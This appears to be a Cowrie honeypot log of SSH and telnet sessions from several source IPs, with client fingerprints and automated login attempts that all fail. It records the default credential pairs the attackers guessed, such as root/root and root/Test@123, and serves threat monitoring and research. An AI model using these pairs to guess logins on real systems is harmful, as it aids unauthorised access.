{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:44.228920Z","src_ip":"190.242.109.42","session":"ed63d25a0bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"password1","message":"login attempt [guest/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:44.617681Z","src_ip":"190.242.109.42","session":"ed63d25a0bf1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42932,"dst_ip":"10.17.0.5","dst_port":22,"session":"3aeadba40dd4","protocol":"ssh","message":"New connection: 103.15.226.202:42932 (10.17.0.5:22) [session: 3aeadba40dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:45.109951Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:45.114541Z","src_ip":"103.15.226.202","session":"3aeadba40dd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:45.365146Z","src_ip":"103.15.226.202","session":"3aeadba40dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00148129463196,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:45.608208Z","src_ip":"212.55.149.117","session":"e2315ac7a248","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:45.751679Z","src_ip":"190.242.109.42","session":"ed63d25a0bf1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test@123","message":"login attempt [root/Test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:46.167039Z","src_ip":"103.15.226.202","session":"3aeadba40dd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:47.420987Z","src_ip":"103.15.226.202","session":"3aeadba40dd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":42220,"dst_ip":"10.17.0.5","dst_port":23,"session":"029d9a8c0c62","protocol":"telnet","message":"New connection: 212.55.149.117:42220 (10.17.0.5:23) [session: 029d9a8c0c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:47.475485Z"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":34150,"dst_ip":"159.203.135.109","dst_port":22,"session":"480e9d0d852e","protocol":"ssh","message":"New connection: 13.250.38.12:34150 (159.203.135.109:22) [session: 480e9d0d852e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:56.358857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:56.363816Z","src_ip":"13.250.38.12","session":"480e9d0d852e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":34160,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8cca1aa1e11","protocol":"ssh","message":"New connection: 13.250.38.12:34160 (159.203.135.109:22) [session: c8cca1aa1e11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:56.487529Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:56.492740Z","src_ip":"13.250.38.12","session":"c8cca1aa1e11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:56.596064Z","src_ip":"13.250.38.12","session":"480e9d0d852e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:56.723768Z","src_ip":"13.250.38.12","session":"c8cca1aa1e11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:57.307643Z","src_ip":"13.250.38.12","session":"480e9d0d852e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:57.422123Z","src_ip":"13.250.38.12","session":"c8cca1aa1e11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:58.542460Z","src_ip":"13.250.38.12","session":"480e9d0d852e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:58.658617Z","src_ip":"13.250.38.12","session":"c8cca1aa1e11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":34174,"dst_ip":"159.203.135.109","dst_port":22,"session":"98c4952b4847","protocol":"ssh","message":"New connection: 13.250.38.12:34174 (159.203.135.109:22) [session: 98c4952b4847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:58.765497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:58.770236Z","src_ip":"13.250.38.12","session":"98c4952b4847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":34180,"dst_ip":"159.203.135.109","dst_port":22,"session":"f9a1871d038e","protocol":"ssh","message":"New connection: 13.250.38.12:34180 (159.203.135.109:22) [session: f9a1871d038e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:58.898075Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:58.901994Z","src_ip":"13.250.38.12","session":"f9a1871d038e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:59.000323Z","src_ip":"13.250.38.12","session":"98c4952b4847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:59.147260Z","src_ip":"13.250.38.12","session":"f9a1871d038e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":45056,"dst_ip":"10.17.0.5","dst_port":22,"session":"94b99fbae1c4","protocol":"ssh","message":"New connection: 151.80.141.196:45056 (10.17.0.5:22) [session: 94b99fbae1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:59.208256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:59.213732Z","src_ip":"151.80.141.196","session":"94b99fbae1c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:59.301913Z","src_ip":"151.80.141.196","session":"94b99fbae1c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password1","message":"login attempt [test/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:59.638737Z","src_ip":"151.80.141.196","session":"94b99fbae1c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"IdcOffer.com","message":"login attempt [root/IdcOffer.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:59.706591Z","src_ip":"13.250.38.12","session":"98c4952b4847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"IdcOffer.com","message":"login attempt [root/IdcOffer.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:42:59.897887Z","src_ip":"13.250.38.12","session":"f9a1871d038e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":33532,"dst_ip":"10.17.0.5","dst_port":22,"session":"b8070909f6e4","protocol":"ssh","message":"New connection: 103.147.159.91:33532 (10.17.0.5:22) [session: b8070909f6e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:00.034996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:00.040273Z","src_ip":"103.147.159.91","session":"b8070909f6e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:00.286582Z","src_ip":"103.147.159.91","session":"b8070909f6e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:00.720352Z","src_ip":"151.80.141.196","session":"94b99fbae1c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:00.937037Z","src_ip":"13.250.38.12","session":"98c4952b4847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:01.144813Z","src_ip":"13.250.38.12","session":"f9a1871d038e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":34188,"dst_ip":"159.203.135.109","dst_port":22,"session":"3561be225a44","protocol":"ssh","message":"New connection: 13.250.38.12:34188 (159.203.135.109:22) [session: 3561be225a44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:01.173482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:01.178301Z","src_ip":"13.250.38.12","session":"3561be225a44","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest01","password":"guest01","message":"login attempt [guest01/guest01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:01.292266Z","src_ip":"103.147.159.91","session":"b8070909f6e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.250.38.12","src_port":34192,"dst_ip":"159.203.135.109","dst_port":22,"session":"65b70f82f5e6","protocol":"ssh","message":"New connection: 13.250.38.12:34192 (159.203.135.109:22) [session: 65b70f82f5e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:01.383731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:01.389926Z","src_ip":"13.250.38.12","session":"65b70f82f5e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"1507069938cc303a0479feda273ec02c","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 1507069938cc303a0479feda273ec02c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:43:01.419188Z","src_ip":"13.250.38.12","session":"3561be225a44","protocol":"ssh"}
